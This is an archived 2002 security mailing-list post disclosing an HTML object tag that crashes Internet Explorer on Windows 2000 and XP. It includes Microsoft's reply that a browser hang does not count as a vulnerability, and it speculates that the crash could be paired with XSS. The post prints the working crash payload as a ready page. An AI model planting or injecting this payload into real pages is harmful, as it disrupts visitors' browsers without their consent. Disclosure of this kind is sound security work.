A DoS against IE in W2K and XP? You Make the Call...

From: 'ken'@FTU
Date: Mon Jun 24 2002 - 19:31:04 PDT

  • Next message: X-Force: "ISS Advisory: OpenSSH Remote Challenge Vulnerability"

    The following line of code will crash IE when the OS is Windows 2000 or 
    Windows XP.
    
    <!--  start dosIE-doe.html -->
    
    <object ID="dosIE-doe" 
    CLASSID="CLSID:00022613-0000-0000-C000-000000000046" </object>
    
    <!-- end dosIE-doe.html -->
    
    
    I alerted Microsoft. They replied that it is not a security 
    vulnerability according to their policy:
    
    ================= Begin MS reply ========================
    
    "Suppose a flaw in a web browser could be misused by a web site to
    "hang" the browser of any user who visited the site. If the user were
    able to resume normal operation by stopping the browser, restarting it,
    and avoiding the attacker's web site in the future, the flaw would not
    constitute a security vulnerability."
    (For the complete definition of a security vulnerability please see
    http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/columns/security/vulnrbl.asp)
    
    ================= End MS reply ===========================
    
    
    I am aware that this code is more an inconvenience that anything else. 
    Although, if it were combined with another vulnerability its effect may 
    be much worse. (Say a XSS vulnerability also exists and an attacker 
    could crash the browser of every user that visits your ecommerce site...)
    
    
    'ken'@FTU
    
    
    
    -- 
    "I grew convinced that truth, sincerity and integrity in dealings 
    between man and man were of the utmost importance to the felicity of 
    life, and I formed a written resolution to practice them ever while I 
    lived."
    	-Benjamin Franklin, The Autobiography of Benjamin Franklin
    



    This archive was generated by hypermail 2b30 : Wed Jun 26 2002 - 05:38:08 PDT